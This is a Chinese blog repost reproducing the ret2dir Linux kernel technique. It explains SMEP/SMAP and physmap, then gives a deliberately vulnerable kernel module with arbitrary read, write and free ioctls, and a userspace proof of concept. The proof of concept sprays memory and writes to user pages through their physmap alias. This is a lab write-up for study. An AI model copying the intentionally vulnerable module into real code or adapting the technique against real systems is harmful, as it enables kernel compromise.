其他分享
首页 > 其他分享> > ret2dir漏洞复现

ret2dir漏洞复现

作者:互联网

参考的博客:

ret2dir漏洞复现

原理

ret2dir是利用内核空间和用户空间的隐性地址共享来实现对一些SMEP和SMAP保护机制进行绕过

SMAP保护机制保证了内核只可以对内核空间里的数据进行访问,而physmap恰好处在内核空间中,却可以映射用户空间映射的物理地址

SMEP保护机制保证了内核态下无法执行用户空间的代码

liinux x86_64内存布局

physmap:内核空间中一个大的、连续的虚拟内存空间,用来映射部分或所有(取决于具体架构)的物理内存

linux内核内存分配方式

实现

内核模块的实现

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/miscdevice.h>
#include <linux/delay.h>

MODULE_LICENSE("GPL");

#define READ_ANY 0x1337
#define WRITE_ANY 0xdead
#define ADD_ANY 0xbeef
#define DEL_ANY 0x2333

struct in_args {
    uint64_t addr;
    uint64_t size;
    char __user *buf;  // pointer to user space;
};

// 从内核空间中读取数据到用户空间
static long read_any(struct in_args *args) {
    long ret = 0;
    char *addr = (void *)args->addr;
    if (copy_to_user(args->buf, addr, args->size)) {
        return -EINVAL;
    }
    return ret;
}

// 将用户空间中的数据写到内核空间中
static long write_any(struct in_args *args) {
    long ret = 0;
    char *addr = (void *)args->addr;
    if (copy_from_user(addr, args->buf, args->size)) {
        return -EINVAL;
    }
    return ret;
}

// 在内核空间中创建一块内存,并向用户空间返回其首地址
static long add_any(struct in_args *args) {
    long ret = 0;
    char *buffer = kmalloc(args->size, GFP_KERNEL);
    if (buffer == NULL) {
        return -ENOMEM;
    }
    if (copy_to_user(args->buf, &buffer, 0x8)) {
        return -EINVAL;
    }
    
    return ret;
}

// 释放一块内存
static long del_any(struct in_args *args) {
    long ret = 0;
    kfree((void *)args->addr);
    return ret;
}

// 内核态ioctl处理程序
static long kpwn_ioctl(struct file *file, unsigned int cmd, unsigned long args) {
    long ret = -EINVAL;
    struct in_args in;
    if (copy_from_user(&in, (void *)args, sizeof(in))) {
        return ret;
    }
    switch (cmd) {
        case READ_ANY:
            ret = read_any(&in);
            break;
        case WRITE_ANY:
            ret = write_any(&in);
            break;
        case ADD_ANY:
            ret = add_any(&in);
            break;
        case DEL_ANY:
            ret = del_any(&in);
            break;
        default:
            ret = -1;
    }
    return ret;
}

// vfs_ioctl将通过fops->unlocked_ioctl调用驱动程序
static const struct file_operations fops = {
    .owner = THIS_MODULE,
    .open = NULL,
    .release = NULL,
    .read = NULL,
    .write = NULL,
    .unlocked_ioctl = kpwn_ioctl
};

// 注册一个字符设备,名称为kpwn,关联fops
static struct miscdevice misc = {
    .minor = MISC_DYNAMIC_MINOR,
    .name = "kpwn",	// 注册时将在/dev/文件夹下创建一个kpwn设备
    .fops = &fops
};

int init_module(void) {
    printk(KERN_INFO "Good Morning! hacker");
    int ret = misc_register(&misc);
    if (ret) {
        printk(KERN_INFO "misc register error!");
        return ret;
    }
    return 0;
}

void cleanup_module(void) {
    printk(KERN_INFO "Good Bye! hhh");
    misc_deregister(&misc);
}

用户层代码的实现

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/mman.h>
#include <signal.h>
typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;

void x64dump(char *buf, uint32_t num) {
    u64 *buf64 = (u64 *)buf;
    printf("[-x64dump-] start : \n");
    for (int i = 0; i < num; i++) {
        if (i % 2 == 0 && i) printf("\n");
        printf("0x%0161x ", *(buf64 + i));
    }
    printf("n[-x64dump-] end ... \n");
}

void loge(char *buf) {
    printf("[err] : %s\n", buf);
    exit(EXIT_FAILURE);
}

void logs(char *tag, char *buf) {
    printf("[ s]: ");
    printf(" %s ", tag);
    printf(": %s\n", buf);
}

void logx(char *tag, u32 num) {
    printf("[ x] ");
    printf(" %-20s ", tag);
    printf(": %-#8x\n", num);
}

void loglx(char *tag, u64 num) {
    printf("[ lx] ");
    printf(" %-20s ", tag);
    printf(": %-#16lx\n", num);
}

void bp(char *tag) {
    printf("[bp] : %s\n", tag);
    getchar();
}

#define READ_ANY 0x1337
#define WRITE_ANY 0xdead
#define ADD_ANY 0xbeef
#define DEL_ANY 0x2333

struct in_args {
    uint64_t addr;
    uint64_t size;
    char *buf;
};

void add_any(int fd, u64 size, char *buf) {
    struct in_args in;
    in.buf = buf;
    in.size = size;
    long res = ioctl(fd, ADD_ANY, &in);
}

// copy from kernel to user
void read_any(int fd, u64 addr, char *buf, u64 size) {
    struct in_args in;
    in.addr = addr;
    in.size = size;
    in.buf = buf;
    long res = ioctl(fd, READ_ANY, &in);
}

// copy from user to kernel
void write_any(int fd, u64 addr, char *buf, u64 size) {
    struct in_args in;
    in.addr = addr;
    in.buf = buf;
    in.size = size;
    long res = ioctl(fd, WRITE_ANY, &in);
}

void del_any(int fd, u64 addr) {
    struct in_args in;
    in.addr = addr;
    long res = ioctl(fd, DEL_ANY, &in);
}

#define spray_times 32*32
#define mp_size 1024*64

void *spray[spray_times];
void heap_spray() {
    void *mp;
    for (int i = 0; i < spray_times; i++) {
        if ((mp = mmap(NULL, mp_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)) == MAP_FAILED) {
            logs("error", "heap spray");
            exit(0);
        }
        memset(mp, 'K', mp_size);
        spray[i] = mp;
    }
}

u64 check() {
    int i = 0;
    for (i = 0; i < spray_times; i++) {
        u64 *p = spray[i];
        int j = 0, upper = mp_size / 8;
        while (j < upper) {
            if (p[j] != 0x4b4b4b4b4b4b4b4b) {
                loglx("check change", (u64)&p[j]);
                return &p[j];
            }
            j += 0x1000 / 8;
        }
    }
    return NULL;
}

int main() {
    int fd = open("/dev/kpwn", O_RDONLY);
    logx("fd", fd);
    char *target = "KKKKKKKKKKKKKKKK";
    char *buf = malloc(0x1000);
    char *dirty = malloc(0x100);
    memset(dirty, 'A', 0x100);
    u64 *buf64 = (u64 *)buf;
    
    // copy from kernel to buf
    add_any(fd, 0x200, buf);
    
    // 'k' -> 'K'
    heap_spray();

    loglx("buf64 = ", buf64[0]);
    
    u64 slab_addr = buf64[0];
    slab_addr = slab_addr & 0xffffffffff000000;
    loglx("slab_addr", slab_addr);

    u64 addr = slab_addr;
    u64 pos = 0;

    u64 addr_to_change = 0;
    for (; addr < 0xffffc80000000000; addr += 0x1000) {
        memset(buf, 0, 0x1000);
        read_any(fd, addr, buf, 0x1000);
        pos = (u64) memmem(buf, 0x1000, target, 0x10);
        if (pos) {
            addr_to_change = addr + pos - (u64)buf;
            loglx("physmap hit addr", addr);
            loglx("addr to change", addr_to_change);
            write_any(fd, addr_to_change, dirty, 0x20);
            u64 *p = check();
            if (p) {
                logs("userspace", "already changed");
                x64dump((char *)p, 0x10);
                break;
            }
        }
    }
    bp("wait");
    return 0;
}

收获

ioctl的执行过程

ioctl新增的两个安全检测机制

  • fget_light():检验完整性
  • security_file_ioctl():检验操作安全性

标签:cache,addr,slab,args,漏洞,ioctl,复现,buf,ret2dir
来源: https://blog.csdn.net/bunner_/article/details/115018315